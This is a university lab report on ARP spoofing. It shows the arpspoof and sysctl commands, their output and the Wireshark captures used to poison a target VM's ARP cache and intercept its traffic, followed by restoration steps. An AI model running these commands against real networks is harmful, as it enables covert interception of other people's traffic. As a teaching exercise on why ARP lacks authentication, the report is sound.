

Amar Telidji University Laghouat

Department of Computer Science

Level: 4th Year Engineering

Course: Network Security

Lab 01: ARP Spoofing

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1. Objective

The objective of this lab is to demonstrate a Man-in-the-Middle (MitM) attack using ARP Spoofing. By using the arpspoof tool, we aim to intercept traffic between a target host and the gateway. We will analyze the manipulated ARP packets using Wireshark to understand how Address Resolution Protocol (ARP) lacks authentication and can be exploited to redirect network traffic.

2. Network Topology

The lab was conducted using two Kali Linux virtual machines and a gateway within the same subnet.

Device	Role	IP Address	MAC Address
Kali VM 1	Attacker	10.88.79.88	08:00:27:03:9d:89
Kali VM 2	Target	10.88.79.230	08:00:27:bb:d6:26
Gateway	Router	10.88.79.201	9a:7f:be:98:89:8b

3. Tools Used

- **dsniff (arpspoof):** Used to forge ARP replies and poison the target's ARP cache.
- **Wireshark:** Used to capture and analyze the network traffic.
- **sysctl:** Used to modify kernel parameters for IP forwarding.

4. Methodology

Step 1: Installation and Setup

First, we updated the package lists and installed the necessary tools (**dsniff** and **wireshark**) on the attacker machine.

```
(kali㉿kali)-[~]  
$ sudo arpspoof -h  
[sudo] password for kali:  
Version: 2.5a2  
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
```

```
$ sudo apt-get install wireshark  
Reading package lists ... Done  
Building dependency tree ... Done  
Reading state information ... Done  
The following packages were automatically installed and are no longer required:  
  libwireshark18 libwiretap15 libwsutil16  
Use 'sudo apt autoremove' to remove them.  
The following additional packages will be installed:  
  layer-shell-qt libavcodec62 libavformat62 libavutil60 libbluray3 libfalcosecurity0t64 libgrpc++1.51t64 libgrpc29t64 libjsoncpp26  
  liblayershellqtinterface6 libnl-3-200 libnl-genl-3-200 libnl-route-3-200 libprotobuf32t64 libprotoc32t64 libqt6core5compat6 libqt6core6t64 libqt6dbus6  
  libqt6gui6 libqt6multimedia6 libqt6network6 libqt6opengl6 libqt6openglwidgets6 libqt6printsupport6 libqt6qml6 libqt6qmlmeta6 libqt6qmlmodels6  
  libqt6qmlworkerscript6 libqt6quick6 libqt6sql6 libqt6sql6-sqlite libqt6svg6 libqt6test6 libqt6waylandclient6 libqt6waylandcompositor6 libqt6widgets6  
  libqt6wslshellintegration6 libqt6xml6 libravie0.8 libswresample6 libswscale9 libudfread3 libvpx12 libwireshark-data libwireshark19 libwiretap16  
  libwsutil17 libx264-165 python3-protobuf python3-pyqt6 qt6-base-dev-tools qt6-gtk-platformtheme qt6-qpas-plugins qt6-svg-plugins qt6-wayland qt6ct tshark  
  wireshark-common  
Suggested packages:
```

Step 2: Enabling IP Forwarding

To prevent the target from losing internet connectivity during the attack (which would result in a Denial of Service), we enabled IP forwarding on the attacker machine. This ensures that intercepted packets are forwarded to the real gateway.

```
(kali㉿kali)-[~]  
$ sudo sysctl -w net.ipv4.ip_forward=1  
net.ipv4.ip_forward = 1  
  
(kali㉿kali)-[~]  
$ sysctl net.ipv4.ip_forward  
net.ipv4.ip_forward = 1
```

Step 3: Execution of ARP Spoofing

We identified the Target IP (**10.88.79.230**) and the Gateway IP (**10.88.79.201**). Using **arp spoof**, we flooded the network with forged ARP replies. These packets falsely claimed that the Gateway IP is located at the Attacker's MAC address.

```
(kali㉿kali)-[~]
$ sudo arpspoof -i eth0 -t 10.88.79.230 10.88.79.201
8:0:27:3:9d:89 8:0:27:bb:d6:26 0806 42: arp reply 10.88.79.201 is-at 8:0:27:3:9d:89
8:0:27:3:9d:89 8:0:27:bb:d6:26 0806 42: arp reply 10.88.79.201 is-at 8:0:27:3:9d:89
8:0:27:3:9d:89 8:0:27:bb:d6:26 0806 42: arp reply 10.88.79.201 is-at 8:0:27:3:9d:89
8:0:27:3:9d:89 8:0:27:bb:d6:26 0806 42: arp reply 10.88.79.201 is-at 8:0:27:3:9d:89
8:0:27:3:9d:89 8:0:27:bb:d6:26 0806 42: arp reply 10.88.79.201 is-at 8:0:27:3:9d:89
8:0:27:3:9d:89 8:0:27:bb:d6:26 0806 42: arp reply 10.88.79.201 is-at 8:0:27:3:9d:89
```

5. Analysis and Observations

We used Wireshark to capture the traffic during the attack. By filtering for **arp** packets, we observed the malicious traffic generated by our machine.

```
45 33.058769679 PCSSystemtec_03:9d:89 PCSSystemtec_bb:d6:26 ARP 42 10.88.79.201 is at 08:00:27:03:9d:89

Frame 45: Packet, 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface eth0, id 0
Ethernet II, Src: PCSSystemtec_03:9d:89 (08:00:27:03:9d:89), Dst: PCSSystemtec_bb:d6:26 (08:00:27:bb:d6:26)
  Destination: PCSSystemtec_bb:d6:26 (08:00:27:bb:d6:26)
  Source: PCSSystemtec_03:9d:89 (08:00:27:03:9d:89)
  Type: ARP (0x0806)
    [Stream index: 2]
  Address Resolution Protocol (reply)
  [Duplicate IP address detected for 10.88.79.201 (08:00:27:03:9d:89) - also in use by 9a:7f:be:98:89:8b (frame 44)]
```

Observation:

The captured ARP packet shows that the **Sender MAC address** matches our Attacker machine, even though the **Sender IP** is listed as the Gateway (**10.88.79.201**). Wireshark flagged this conflict with a **"Duplicate IP address detected"** warning. This confirms that the spoofing was successful, as the target machine now associates the Gateway's IP with our Attacker's MAC address.

6. Restoration

After the successful analysis, we stopped the attack to restore normal network function.

1. We stopped the arpspoof process.
2. We disabled IP forwarding

```
└─$ sudo sysctl -w net.ipv4.ip_forward=0
[sudo] password for kali:
net.ipv4.ip_forward = 0
```

3. We restored the target's ARP cache using the **arping** command.

```
(kali㉿kali)-[~]
└─$ sudo arping -c 1 -U -I eth0 10.88.79.230
ARPING 10.88.79.230
60 bytes from 08:00:27:bb:d6:26 (10.88.79.230): index=0 time=1.168 msec

— 10.88.79.230 statistics —
1 packets transmitted, 1 packets received, 0% unanswered (0 extra)
rtt min/avg/max/std-dev = 1.168/1.168/1.168/0.000 ms
```

7. Conclusion

In this lab, we successfully demonstrated how the lack of authentication in the ARP protocol allows an attacker to intercept network traffic. By mapping the attacker's MAC address to the gateway's IP address, we were able to position ourselves as a "Man-in-the-Middle" without the target's knowledge. This highlights the importance of network monitoring and dynamic ARP inspection defenses.